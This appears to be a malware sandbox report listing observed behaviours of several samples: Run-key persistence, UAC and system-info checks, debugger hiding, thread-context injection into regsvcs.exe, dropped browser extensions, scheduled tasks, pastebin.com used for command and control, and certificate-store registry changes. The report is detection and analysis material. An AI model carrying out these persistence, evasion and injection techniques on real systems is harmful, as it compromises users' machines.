Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\msiexec.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\F: C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A api.myip.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.cat C:\Windows\System32\MsiExec.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
File created C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.sys C:\Windows\System32\MsiExec.exe N/A
File opened for modification C:\Windows\System32\CatRoot2\dberr.txt C:\Windows\System32\MsiExec.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe N/A
File opened for modification C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.inf C:\Windows\System32\MsiExec.exe N/A
File created C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.inf C:\Windows\System32\MsiExec.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File created C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
File opened for modification C:\Windows\system32\DRVSTORE C:\Windows\System32\MsiExec.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4040 set thread context of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\lgw_postinstall.sh C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_hr_HR.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_en.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_eu.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\License_en_US.rtf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\Qt5WidgetsVBox.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VirtualBoxVM.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxAuthSimple.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_fr.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\redhat67_ks.cfg C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_ca.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_id.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\Qt5WinExtrasVBox.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_zh_CN.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VirtualBox.chm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_de.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_hr_HR.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_ru.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\Qt5OpenGLVBox.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxGuestControlSvc.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\UICommon.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxDD.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxNetDHCP.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\sdk\install\vboxapi\VirtualBox_constants.py C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_zh_CN.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\x86\msvcp100.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\msvcr100.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_pt_BR.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_th.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\rhel5_ks.cfg C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\yvWovCiVU\KJfDBt.dll C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxAuth.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxDDU.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_eu.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_hu.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\redhat_postinstall.sh C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxRT.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_es.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_ko.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\doc\UserManual.pdf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_ca.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_de.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_fr.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_hu.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\win_postinstall.cmd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.sys C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxNetNAT.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_zh_TW.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_nl.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_uk.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_fa.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_it.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxSupLib.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxGuestPropSvc.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_sl.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxCAPI.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxDbg.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.inf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\qt_tr.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_tr.qm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\Oracle\VirtualBox\VBoxC.dll C:\Windows\system32\msiexec.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\SystemTemp\~DFDDC938B9F8F97A8C.TMP C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI5DC8.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\ZJggANjsYpCqsGjEe.job C:\Windows\SysWOW64\schtasks.exe N/A
File opened for modification C:\Windows\Tasks\bCAdHbOFiqtMCRhbmR.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\SystemTemp\~DFE76A6371CBBB8BD7.TMP C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIC1D2.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\eGwAoTnpAObQfPU.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\bCAdHbOFiqtMCRhbmR.job C:\Windows\SysWOW64\schtasks.exe N/A
File opened for modification C:\Windows\Installer\MSI4BF3.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\e5929a6.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\SourceHash{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC} C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI4F6F.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e5929a6.msi C:\Windows\system32\msiexec.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\MsiExec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\MsiExec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{85d47b70-0000-0000-0000-d01200000000}\NukeOnDelete = "0" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{85d47b70-0000-0000-0000-d01200000000} C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\MsiExec.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\MsiExec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{85d47b70-0000-0000-0000-d01200000000}\MaxCapacity = "14116" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\MsiExec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
